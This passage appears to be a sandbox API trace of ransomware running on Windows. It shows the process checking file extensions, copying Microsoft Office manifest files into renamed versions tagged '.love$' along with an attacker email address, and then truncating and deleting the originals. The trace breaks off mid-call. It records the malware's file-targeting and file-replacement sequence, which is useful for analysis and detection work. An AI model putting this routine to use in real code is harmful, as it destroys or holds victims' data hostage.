[0109.502] lstrlenW (lpString=".pdf") returned 4 [0109.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0109.502] lstrlenW (lpString=".xls") returned 4 [0109.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0109.502] lstrlenW (lpString=".xlsx") returned 5 [0109.502] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0109.502] lstrlenW (lpString=".ppt") returned 4 [0109.502] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0109.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.503] lstrlenW (lpString=".zip") returned 4 [0109.503] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0109.503] lstrlenW (lpString=".rar") returned 4 [0109.503] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0109.503] lstrlenW (lpString=".bz2") returned 4 [0109.503] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0109.503] lstrlenW (lpString=".7z") returned 3 [0109.503] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0109.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.503] lstrlenW (lpString=".dbf") returned 4 [0109.503] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0109.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.503] lstrlenW (lpString=".1cd") returned 4 [0109.503] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0109.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.503] lstrlenW (lpString=".jpg") returned 4 [0109.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0109.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.503] lstrlenW (lpString=".doc") returned 4 [0109.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0109.503] lstrlenW (lpString=".docx") returned 5 [0109.503] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0109.503] lstrlenW (lpString=".pdf") returned 4 [0109.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0109.503] lstrlenW (lpString=".xls") returned 4 [0109.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0109.504] lstrlenW (lpString=".xlsx") returned 5 [0109.504] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0109.504] lstrlenW (lpString=".ppt") returned 4 [0109.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.504] lstrlenW (lpString=".zip") returned 4 [0109.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0109.504] lstrlenW (lpString=".rar") returned 4 [0109.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0109.504] lstrlenW (lpString=".bz2") returned 4 [0109.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0109.504] lstrlenW (lpString=".7z") returned 3 [0109.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.504] lstrlenW (lpString=".dbf") returned 4 [0109.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.504] lstrlenW (lpString=".1cd") returned 4 [0109.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0109.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0109.504] lstrlenW (lpString=".jpg") returned 4 [0109.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0109.504] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0109.505] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0109.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.507] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=800867) returned 1 [0109.507] CloseHandle (hObject=0x340) returned 1 [0109.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0109.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0109.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.507] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0109.507] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0109.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0109.508] GetLastError () returned 0x0 [0109.508] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xc3863, lpOverlapped=0x0) returned 1 [0109.898] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xc3870, lpOverlapped=0x0) returned 1 [0109.918] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0109.919] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0109.919] SetEndOfFile (hFile=0x2d8) returned 1 [0109.919] CloseHandle (hObject=0x2d8) returned 1 [0110.370] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0110.370] SetEndOfFile (hFile=0x340) returned 1 [0111.009] CloseHandle (hObject=0x340) returned 1 [0111.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0111.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0111.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.158] lstrlenW (lpString=".doc") returned 4 [0111.158] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.158] lstrlenW (lpString=".docx") returned 5 [0111.158] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0111.158] lstrlenW (lpString=".pdf") returned 4 [0111.158] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.158] lstrlenW (lpString=".xls") returned 4 [0111.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.159] lstrlenW (lpString=".xlsx") returned 5 [0111.159] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0111.159] lstrlenW (lpString=".ppt") returned 4 [0111.159] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.159] lstrlenW (lpString=".zip") returned 4 [0111.159] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.159] lstrlenW (lpString=".rar") returned 4 [0111.159] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.159] lstrlenW (lpString=".bz2") returned 4 [0111.159] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.159] lstrlenW (lpString=".7z") returned 3 [0111.159] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.159] lstrlenW (lpString=".dbf") returned 4 [0111.159] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.160] lstrlenW (lpString=".1cd") returned 4 [0111.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.160] lstrlenW (lpString=".jpg") returned 4 [0111.162] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.162] lstrlenW (lpString=".doc") returned 4 [0111.162] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.162] lstrlenW (lpString=".docx") returned 5 [0111.162] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0111.162] lstrlenW (lpString=".pdf") returned 4 [0111.162] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.162] lstrlenW (lpString=".xls") returned 4 [0111.162] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.162] lstrlenW (lpString=".xlsx") returned 5 [0111.163] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0111.163] lstrlenW (lpString=".ppt") returned 4 [0111.163] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.163] lstrlenW (lpString=".zip") returned 4 [0111.163] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.163] lstrlenW (lpString=".rar") returned 4 [0111.163] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.163] lstrlenW (lpString=".bz2") returned 4 [0111.163] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.163] lstrlenW (lpString=".7z") returned 3 [0111.163] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.163] lstrlenW (lpString=".dbf") returned 4 [0111.163] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.163] lstrlenW (lpString=".1cd") returned 4 [0111.163] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0111.164] lstrlenW (lpString=".jpg") returned 4 [0111.164] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.164] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0111.164] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0111.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0111.166] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=763363) returned 1 [0111.166] CloseHandle (hObject=0x340) returned 1 [0111.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0111.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0111.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0111.167] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0111.167] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0111.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0111.167] GetLastError () returned 0x0 [0111.167] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0111.358] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0112.083] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0112.083] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0112.084] SetEndOfFile (hFile=0x2d8) returned 1 [0112.084] CloseHandle (hObject=0x2d8) returned 1 [0112.783] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0112.783] SetEndOfFile (hFile=0x340) returned 1 [0112.818] CloseHandle (hObject=0x340) returned 1 [0112.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.819] lstrlenW (lpString=".doc") returned 4 [0112.819] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.819] lstrlenW (lpString=".docx") returned 5 [0112.819] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.819] lstrlenW (lpString=".pdf") returned 4 [0112.819] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.819] lstrlenW (lpString=".xls") returned 4 [0112.819] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.819] lstrlenW (lpString=".xlsx") returned 5 [0112.819] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.820] lstrlenW (lpString=".ppt") returned 4 [0112.862] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.862] lstrlenW (lpString=".zip") returned 4 [0112.862] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.863] lstrlenW (lpString=".rar") returned 4 [0112.863] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.863] lstrlenW (lpString=".bz2") returned 4 [0112.863] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.863] lstrlenW (lpString=".7z") returned 3 [0112.863] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.863] lstrlenW (lpString=".dbf") returned 4 [0112.863] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.863] lstrlenW (lpString=".1cd") returned 4 [0112.863] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.863] lstrlenW (lpString=".jpg") returned 4 [0112.863] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.863] lstrlenW (lpString=".doc") returned 4 [0112.863] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.863] lstrlenW (lpString=".docx") returned 5 [0112.863] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.863] lstrlenW (lpString=".pdf") returned 4 [0112.863] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.863] lstrlenW (lpString=".xls") returned 4 [0112.863] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.863] lstrlenW (lpString=".xlsx") returned 5 [0112.864] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.864] lstrlenW (lpString=".ppt") returned 4 [0112.864] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.864] lstrlenW (lpString=".zip") returned 4 [0112.864] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.864] lstrlenW (lpString=".rar") returned 4 [0112.864] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.864] lstrlenW (lpString=".bz2") returned 4 [0112.864] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.864] lstrlenW (lpString=".7z") returned 3 [0112.864] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.864] lstrlenW (lpString=".dbf") returned 4 [0112.864] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.864] lstrlenW (lpString=".1cd") returned 4 [0112.864] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0112.864] lstrlenW (lpString=".jpg") returned 4 [0112.864] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.864] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.864] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0112.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0112.865] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=14913) returned 1 [0112.865] CloseHandle (hObject=0x340) returned 1 [0112.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0112.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0112.866] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0112.866] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0112.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0112.866] GetLastError () returned 0x0 [0112.866] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x3a41, lpOverlapped=0x0) returned 1 [0112.869] WriteFile (in: hFile=0x34c, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x3a50, lpOverlapped=0x0) returned 1 [0112.871] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0112.871] WriteFile (in: hFile=0x34c, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0112.871] SetEndOfFile (hFile=0x34c) returned 1 [0112.871] CloseHandle (hObject=0x34c) returned 1 [0112.876] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, 